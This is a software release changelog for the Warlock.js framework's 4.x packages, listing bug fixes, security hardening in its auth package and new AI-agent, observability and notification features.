router.any()/allroutes now match every HTTP verb under the dev server — they previously matched only GET and POST, diverging from production - Fixed the HTTP concurrency limiter releases its slot on every response path (
noContent, redirect, file, buffer) — a throwing or non-sendhandler no longer leaks a permit and permanently 429s the route - Fixed the cached-response middleware replays a hit through
response.replay()instead of re-sending an already-sent reply, preserving status and content-type - Fixed
onSentcache writes in the idempotency and cache middleware are error-handled — a cache-backend failure no longer surfaces as an unhandled rejection - Fixed
X-Forwarded-Foris parsed to its first hop, so IP-filter / rate-limit / idempotency scoping cannot be spoofed with extra header hops - Fixed the
maintenancemiddleware allowlist matches request paths that carry a query string - Fixed use-cases run their
aftermiddleware and broadcast for avoidhandler, and a failed history write no longer fails an otherwise-successful call - Fixed the use-case retry counter reports the correct count on total failure
- Fixed the socket connector no longer double-closes the shared HTTP server during graceful shutdown
- Fixed the cache connector disconnects its drivers on shutdown — an open Redis connection was left dangling
- Fixed generator stubs import
v/Inferfrom@warlock.js/seal(core never re-exported them), so generated models compile and run - Fixed
warlock devhot-reloads when a file is emptied or saved with no trailing newline — a stale no-op-change check was silently dropping those saves before they reached HMR - Removed presigned-upload
maxSizeoption — a presigned PUT URL cannot enforce a size cap, so the option was a false guarantee
- Fixed All upstream
ClientOptionsnow reach the Anthropic client. The SDK constructor peels off the framework-onlyprovider/pricingkeys and forwards the rest (timeout,maxRetries,defaultHeaders, customfetch,baseURL, …) verbatim, instead of dropping everything butapiKey/baseURL.
- Fixed All upstream
ClientOptionsnow reach the OpenAI client. The SDK constructor peels off the framework-onlyprovider/pricingkeys and forwards the rest (timeout,maxRetries,defaultHeaders, customfetch,organization,project, …) verbatim, instead of dropping everything butapiKey/baseURL.
4.4.0 June 21, 2026
@warlock.js/core completes the production lifecycle — a booted hook, a shutdown hook, graceful HTTP draining, and built-in /health + /ready endpoints for zero-downtime deploys. Plus AI fixes across @warlock.js/ai, @warlock.js/ai-openai, and @warlock.js/ai-panoptic (opt-in content capture, corrected Langfuse token accounting).
- Added
Application.onceBooted(cb)— run a callback once the app is fully booted (fires immediately if already booted) - Added
Application.whenBooted()— promise that resolves with the boot context when the app is fully booted - Added
Application.isBooted— whether the app has finished booting - Added
Application.onShutdown(cb)— run teardown once on shutdown, before connectors stop (mirror ofonceBooted) - Added
Application.isShuttingDown— whether shutdown has begun - Added built-in
/health(liveness) and/ready(readiness) endpoints with ahealthcheck registry (health.addCheck) - Added graceful HTTP shutdown — drains in-flight requests on shutdown, bounded by
http.gracefulShutdown.timeout - Added
http.health.*config to toggle or rename the health endpoints - Fixed connector shutdown no longer reverses the connector list in place (could corrupt order on a repeated shutdown)
- Fixed Planner: OpenAI strict structured-output
400. The generated plan schema now lists every property inrequiredand dropsminItems/maxItems, soai.planner()no longer fails against OpenAI strictjson_schemamode. - Fixed Report / result types no longer collapse to
neverunder strict TypeScript. The narrowing report / result types now override the discriminant viaOmit<…>instead of intersection. Type-only — no runtime change.
- Added Opt-in content capture.
panoptic({ captureContent, redactContent })copies the agent prompt / response and each tool's args / result onto spans, surfaced by the console (io), file, OTel (gen_ai.prompt/gen_ai.completion), and Langfuse exporters. Off by default; aContentRedactormasks each value. - Fixed Langfuse token accounting — generations now meter their own usage (rolled-up minus children) and the root execution is metered, so the trace total no longer double-counts nested spans.
- Fixed Strict structured-output compatibility check is now recursive. A schema that omits a
requiredproperty anywhere in the tree degrades to loosejson_objectinstead of400-ing; client-side validation still enforces the full shape.
- Changed Documented
model.uuid— the accessor returns the model's primary id asstring(wheremodel.idisstring | number); the name is historical and performs no UUID validation.
4.3.0 June 21, 2026
Self-update tooling — @warlock.js/core gains the warlock update command and a new-release notice in warlock dev. @warlock.js/ai caps the primitive ladder with ai.orchestrator(), ai.planner(), and ai.memory(), plus a cost-truth pass across every provider. The new @warlock.js/ai-panoptic package adds observability. ⚠ Breaking: snapshot persistence moves from a CacheDriver to the dedicated SnapshotStore.
- Added
warlock update— update every@warlock.js/*package in package.json to its latest version (operator preserved), then run the detected package manager's install - Added dev-server update notice —
warlock devchecks npm on start and prints a one-line notice when a newer@warlock.js/coreis published - Added
devServer.checkForUpdatesconfig flag (defaulttrue) to toggle the dev-server update notice - Added
fetchLatestVersion()andisNewerVersion()registry/version utilities - Fixed
warlock dev --skip-typingsand--skip-healthlong-form flags now work (were silently ignored)
- ⚠ BREAKING Supervisor + workflow snapshot persistence moved from
CacheDriverto the dedicatedSnapshotStorecontract. The per-primitive fallback is nowai.config({ defaultSnapshotStore }). Migration: replacesnapshotStore: cache.driver("redis", { client })withsnapshotStore: ai.snapshot.redis({ client })(andai.snapshot.{memory,pg}for the other tiers). - Added
ai.orchestrator()— stateful session manager over a supervisor: durable session / history / context, drift detection, history compaction, resume, and a command surface (orchestrator.asTool(), a 3-tier event surface, andOrchestratorContract/ config / error types). - Added
ai.checkpoint.{memory,pg,redis}()andai.snapshot.{memory,pg,redis}()— durable orchestrator-session and supervisor / workflow run stores, with matchingdefaultCheckpointStore/defaultSnapshotStoreconfig fields. - Added
ai.memory()— agent-memory store with four tiers: working (in-run scratch), semantic (durable facts), episodic (durable, recency-blended events), and procedural (durable, reinforcement-blended how-tos). Wired into the orchestrator via amemory?field. - Added
ai.planner()— an LLM generates an ordered plan over your registered capabilities, then executes it step-by-step. - Added
ai.spawnSubAgent()— one-shot delegation to a fresh single-use agent with an optional per-task budget; usable from a planner step, a tool, or a workflow. - Added Cost-truth contract surface across all five adapters —
Usage.reasoningTokens, per-channelModelPricing, andModelCallOptions.{reasoning, cacheControl}(ignored by adapters that lack the capability). - Added DX helpers —
ai.router(),ai.fanOut(),ai.batch(),ai.fallbackModel(),ai.mockRouter(),agent.eval()+ built-inai.eval.*scorers, Vitest matchers (registerAiMatchers()), supervisor-level middleware, andai.systemPrompt.fromFile(path). - Added Executables passed in an agent's
tools: [...]are auto-adapted into tools (workflows / supervisors / orchestrators compose directly via.asTool()).
- Added
panoptic()— the one-call subscriber factory: builds a collector, registers exporters, and feeds traces viaattach(),middleware(), orcollect(). - Added Exporters —
consoleExporter(),fileExporter()(JSON-Lines),otelExporter()(GenAI semantic conventions), andlangfuseExporter().@opentelemetry/*andlangfuseare optional peers, lazily imported. - Added
createInMemoryTraceStore()— a queryable in-memory trace store (query/aggregateby runId, sessionId, status, time window; optionalcapacityFIFO cap) that doubles as an exporter. - Added Vendor-neutral trace contracts (
Trace/TraceSpan/CollectorContract/ExporterContract) derived 1:1 from the coreBaseReporttree, plus skills for observing, exporting, and querying traces. - Fixed Failed root runs now carry their error in every export (threaded from the result envelope onto the root span).
- Fixed Per-span exporters now receive every span (the collector walks the finalized tree).
- Fixed
panoptic().middleware()now works on a supervisor (the middleware declares asupervisorhook map).
- Added Usage accounting —
usage.cacheWriteTokensis populated from Anthropic'scache_creation_input_tokens(alongsidecachedTokens);reasoningTokensis left unset because Anthropic bills thinking insideoutput_tokens. - Added Extended thinking —
ModelCallOptions.reasoningmaps to Anthropic'sthinkingbudget (reasoning.effort→ a tiered budget, floored at 1024);temperatureis dropped when thinking is enabled. - Added System-prompt prompt caching —
cacheControl.breakpoints >= 1emits the system prompt withcache_control: { type: "ephemeral" }. - Added Capabilities —
reasoning,promptCaching, andpdfare now advertised;audiostays absent.
- Added Cost-truth capabilities —
reasoning,promptCaching,pdf, andaudioare reported truthfully per model family (inferred from the model id, overridable viabedrock.model(...)). - Added Reasoning / extended thinking —
ModelCallOptions.reasoningmaps to Conversethinkingfor reasoning-capable models, and no-ops elsewhere so unsupported params never reach the wire. - Added Prompt-cache write breakpoints —
cacheControl.breakpointsappends a ConversecachePointblock for caching-capable models. - Added
Usage.cacheWriteTokenspopulated from ConversecacheWriteInputTokens;reasoningTokensis left unset (Bedrock reports no reasoning channel).
- Added
Usage.reasoningTokensis populated from Gemini'sthoughtsTokenCount(alongsidecachedTokens), surfaced only when reported> 0. - Added
ModelCallOptions.reasoningmaps to Gemini'sthinkingConfig(maxTokens→thinkingBudget,effort→ a bucketed budget) for reasoning-capable models. - Added
ModelCapabilitiesnow reportsreasoning,promptCaching,audio, andpdf;cacheControlis accepted as a graceful no-op.
- Added
Usage.reasoningTokensis populated fromcompletion_tokens_details.reasoning_tokens(o-series / gpt-5 hidden reasoning channel), emitted only when> 0. - Added
ModelCallOptions.reasoning.effortmaps to the nativereasoning_effortparam for reasoning-capable models;reasoning.maxTokenshas no Chat Completions equivalent. - Added
ModelCapabilities.reasoningis inferred from the model name (overridable via.model(...));promptCachingis alwaystrue(OpenAI caches automatically), andcacheControlwrite breakpoints are a no-op.
- Added
ModelCapabilities.reasoningis inferred from thinking-capable model tags (overridable viaollama.model({ name, reasoning }));promptCaching/audio/pdfreportfalse. - Added
ModelCallOptions.reasoningmaps onto Ollama's nativethinkflag for reasoning-capable models;reasoning.maxTokensandcacheControlare graceful no-ops.
4.2.11 June 17, 2026
Soft deletes go end-to-end in @warlock.js/cascade. @warlock.js/core adds warlock add notifications, and @warlock.js/notifications gains model-driven column mapping, read-state, and multi-tenant support.
- Added
Migration.createauto-wires thedeletedAtcolumn when the model's delete strategy is"soft"(opt out with{ softDeletes: false }) - Changed Require
@mongez/reinforcements≥ 3.3.0 — the update validator now uses its newwhenhelper for conditional schema fields - Fixed Soft
destroy()now setsdeletedAton the in-memory model — the instance was left stale before - Fixed Update validation no longer strips or rejects the
deletedAtcolumn under strict mode (now whitelisted like the timestamps)
- Added
lowerStage3Decorators()— Vite/Vitest plugin that lowers TC39 Stage-3 decorators with esbuild before oxc / the SSR rewrite mangles them; drop it first inpluginsso model-decorated files load under Vitest 4 / Vite 8. - Added
warlock add notifications— installs@warlock.js/notifications(+ themailfeature), ejectsconfig/notifications.ts, and scaffolds the app-ownedNotificationmodel + migration (idempotent). - Added Notifications connector — a built-in, config-gated connector that lazy-imports
@warlock.js/notifications, so core keeps no hard dependency on it. - Changed
warlock add testnow scaffolds avite.config.tsthat includeslowerStage3Decorators(), so a fresh project can test decorated models out of the box. - Changed
warlock add testtest/test:coveragescripts now run one-shot (vitest run) instead of watch mode — CI-safe by default. - Changed Bumped
@mongez/reinforcementsto 3.3.0 - Fixed
startHttpTestServernow starts early-phase connectors (database, cache, logger, …) before app modules, then late-phase (http, socket) after — mirroring dev/prod boot order; fixes aMissingDataSourceErrorunder the Vitest integration harness.
- Changed In-app column mapping moved onto the model as
static columnMap(recipient/tenant/readAt/isRead); accessors, repository, and channels all derive from it. NewNotificationColumnMaptype. - Changed Read-state is presence-based — declaring
readAt,isRead, or both selects the representation (defaultread_at); the mode-agnosticunreadfilter replacesisRead. - Changed Multi-tenant support — when the model declares a
tenantcolumn, thedatabasechannel reads it off the recipient andcreateFor(...)writes it. - Changed
inApp.list/inApp.listUnreadnow forward full list options (page/limit/orderBy+ filters). - Changed
notificationColumns(model)derives its columns fromcolumnMap; the SQL-vs-MongoDBdataSourcebranch is removed.
- Changed Bumped
@mongez/reinforcementsto 3.3.0
- Changed Bumped
@mongez/reinforcementsto 3.3.0
- Changed Bumped
@mongez/reinforcementsto 3.3.0
- Changed Bumped
@mongez/reinforcementsto 3.3.0
- Changed Bumped
@mongez/reinforcementsto 3.3.0
- Changed Bumped
@mongez/reinforcementsto 3.3.0 (package dependency + project template)
4.2.10 June 17, 2026
Patch: @warlock.js/auth moves its internal @mongez/* utilities from peer to regular dependencies, clearing the install warnings. @warlock.js/logger softens its console timestamp to gray.
- Fixed
@mongez/copper,@mongez/events, and@mongez/reinforcementsare now regulardependenciesinstead ofpeerDependencies— they're framework-internal utilities your app never imports, so declaring them as peers producedunmet peer dependencywarnings on install.
- Changed
ConsoleLog's timestamp (and the↳context arrow) switch from bright-blackgrayto the 256-colorslate— recessive but cleanly legible where bright-black read muddy.
- Changed The project template now pins the latest
@mongez/*versions (@mongez/reinforcements@^3.2.0,@mongez/agent-kit@^1.2.0) so freshly scaffolded apps start on current dependencies. (@warlock.js/*versions are still rewritten to the scaffolder's own version at install time.)
4.2.9 June 17, 2026
Patch: @warlock.js/logger's console output is retuned for scannability — a dimmed time-only timestamp, aligned level columns, and a restored white-on-red fatal badge.
- Changed
ConsoleLogoutput retuned for scannability — a time-onlyHH:mm:ss.SSStimestamp dimmed to gray, fixed-width level tags so the columns align, andfatalrestored to a white-on-bright-red background badge. (FileLog/JSONFileLogkeep the full ISO timestamp.)
4.2.8 June 17, 2026
Patch: @warlock.js/logger now prints each level's name beside its icon (ℹ info, ⚠ warn, ✗ error, …) for at-a-glance reading.
- Changed
ConsoleLognow prints each level's name beside its icon (⚙ debug,ℹ info,⚠ warn,✗ error,✓ success,☠ fatal) for at-a-glance reading.
4.2.7 June 17, 2026
Patch: create-warlock now ships its templates/ folder, fixing the "Something went wrong" error when scaffolding a new project.
- Fixed The published package now ships its
templates/folder, so scaffolding a new project works from the installed package — it was missing from the build, which failed the wizard with "Something went wrong" at the template-copy step.
4.2.6 June 17, 2026
Patch: create-warlock ships its bin folder again, restoring the CLI that was dropped from 4.2.5.
- Fixed The published package now ships its
binfolder again, so thecreate-warlockCLI works from the installed package — it was omitted from the 4.2.5 build.
4.2.5 June 15, 2026
Patch: warlock add notifications now scaffolds the in-app notifications HTTP surface — routes plus a list / mark-read / clear controller, gated by auth.
- Added
warlock add notificationsnow scaffolds the in-app read/dismiss HTTP surface —routes.ts+ anotifications.controller.ts(list / unread-count / mark-read / mark-all-read / clear / delete), gated byauthMiddlewareand recipient-scoped viainApp. Pulls@warlock.js/auth.
4.2.4 June 15, 2026
Patch: corrects a worker-loader build path in @warlock.js/core that 4.2.3 left broken.
- Fixed Fix the worker-loader path in the build entry points — a wrong path in 4.2.3 left the worker entry broken (and blocked the 4.2.3 publish for some packages).
4.2.3 June 15, 2026
Patch: ships the worker scripts as @warlock.js/core build entry points. A wrong path here blocked publishing for some packages — fixed in 4.2.4.
- Fixed Add the worker scripts as build entry points so they ship in the published package.
4.2.2 June 15, 2026
Patch: ships the warlock CLI entry (cli/start) in @warlock.js/core's build.
- Fixed Add
cli/startto the build entry points so thewarlockCLI entry ships in the published package.
4.2.1 June 15, 2026
Patch: @warlock.js/core and @warlock.js/cascade ship their bin folders, restoring the warlock and cascade CLIs dropped from 4.2.0.
- Fixed Ship the
binfolder so thewarlockCLI works from the published package — it was omitted from the 4.2.0 build.
- Fixed Ship the
binfolder so thecascadeCLI works from the published package — it was omitted from the 4.2.0 build.
4.2.0 June 15, 2026
A security overhaul of @warlock.js/auth — brute-force throttling, atomic refresh-token rotation, and CSPRNG secrets (the jwt config gives way to accessToken / refreshToken). Introduces two packages: @warlock.js/notifications (multi-channel notifications) and @warlock.js/access (RBAC + ABAC authorization).
- New Shipped Warlock.js Notifications Package.
- New Shipped Warlock.js Access Package.
- Added
loginThrottleMiddleware— failure-aware brute-force / credential-stuffing protection: counts only failed logins, locks per-account and per-IP, and rejects pre-controller with429(cache-backed, fails open). AddsAuthErrorCodes.TooManyAttempts(EC004). - Added
accessToken/refreshTokenconfiguration blocks, making a separate refresh-token secret first-class. - Added Overridable token storage — register a custom model under
config.auth.accessToken.model/refreshToken.modeland.extend()the exported schemas to add columns (e.g. a multi-tenantorganization_id). - Added
tokenType(access|refresh) claim, stamped on issue and verified on read, so an access token can't be presented as a refresh token. - Added
expires_aton access tokens;warlock auth.cleanupnow purges expired access tokens too. - Fixed Default access-token lifetime was ~3.6 seconds (a numeric
expiresInread as milliseconds) and is now 1 hour. - Fixed Targeted revocation queried
userIdinstead of theuser_idcolumn, so logout / refresh-token removal threw on Postgres and silently no-oped on MongoDB; token queries now route through named model statics. - Fixed Token deletions were fire-and-forget (false success for callers, uncatchable rejections) and are now awaited.
- Fixed The route middleware matched on
userTypeinstead of theuser_typecolumn. - Fixed
revokeAllTokens/revokeTokenFamilyreported an empty set, sotoken.revoked/token.familyRevokednever fired; the revoked rows are now captured before revocation. - Fixed A throwing synchronous auth-event listener no longer turns a completed login into a
500. - Deprecated The
auth.jwt.*configuration block. UseaccessToken/refreshTokeninstead — the legacy shape is still read and mapped forward with a one-time deprecation warning. - Removed Unread
access_tokenscolumnsis_activeandlast_access. - Removed The unused
auth.password.saltconfiguration key. - Security
warlock jwt.generatenow derivesJWT_SECRET/JWT_REFRESH_SECRETfrom a CSPRNG (Random.token) instead ofMath.random(). - Security Refresh-token rotation is atomic — a guarded conditional
UPDATEmeans two concurrent rotations can't both succeed, and a replayed token revokes its entire family.
- Added
log.flush()— awaitable async counterpart toflushSync(), draining every channel viaPromise.allSettledwith per-channel isolation. Implemented byFileLog/JSONFileLog. - Added
SentryLogchannel — forwards entries to Sentry (eventLevelsbecome events, others breadcrumbs;module/actionas tags).@sentry/nodeis an optional, lazily-imported peer. - Added
log.fatal()+fatallevel — ranked strictly aboveerrorfor unrecoverable failures; does not auto-flush or exit. - Added
ConsoleLogrendersfatalwith a☠icon on a bright-red background, distinct fromerror's✗. - Changed
captureAnyUnhandledRejection()now escalatesuncaughtExceptiontolog.fatal(waserror);unhandledRejectionstays aterror. - Changed
LoggingData.typeis now typed asLogLevel(was a duplicated inline union). - Changed
LogContract/LogChannelnow expose an optionalflush?()alongsideflushSync?(). - Fixed
@sentry/nodeis referenced only via local types + an indirect dynamic import, so source-served consumers no longer getTS2307: Cannot find module '@sentry/node'when they don't install the optional peer.
- Changed MongoDB and PostgreSQL drivers now log a failed initial
connect()atlog.fatal(waslog.error) — a boot-time database connection failure is unrecoverable, sofatalkeeps "page on fatal only" alerting clean. Per-query and disconnect failures stay aterror. - Fixed PostgreSQL
increment/decrement(and the*Manyvariants) bound the amount as$1, colliding with the first filter placeholder (SET n = n + $1 WHERE id = $1) so every filtered counter update wrote the wrong number; the amount now binds after the filter params.
- Fixed No-argument tools (declared without an
inputschema) no longer crash on invocation —tool.invokenow skips validation when no schema is present and passes the raw input to the handler.
- Added Opt-in
promptCachingflag on the model config — marks tool definitions withcache_control: { type: "ephemeral" }so multi-trip agents reuse the static tool schemas at the cache-read rate. Off by default.
- Changed Redis driver now logs a failed initial
connect()atlog.fatal(waslog.error) — a boot-time cache connection failure is unrecoverable, sofatalkeeps "page on fatal only" alerting clean.
- Changed
herald-connectorandhttp-connectornow log a failed boot-time connection atlog.fatal(waslog.error) — an unrecoverable broker connection or HTTP port-bind failure makes "page on fatal only" alerting clean; the HTTP connector flushes logs beforeprocess.exit(1). Disconnect / shutdown failures stay aterror.
4.1.15 June 4, 2026
The first public release of Warlock.js — 17 packages published together at 4.1.15. Every change from here on is recorded per package and aggregated on this page.
No changes recorded for this package yet.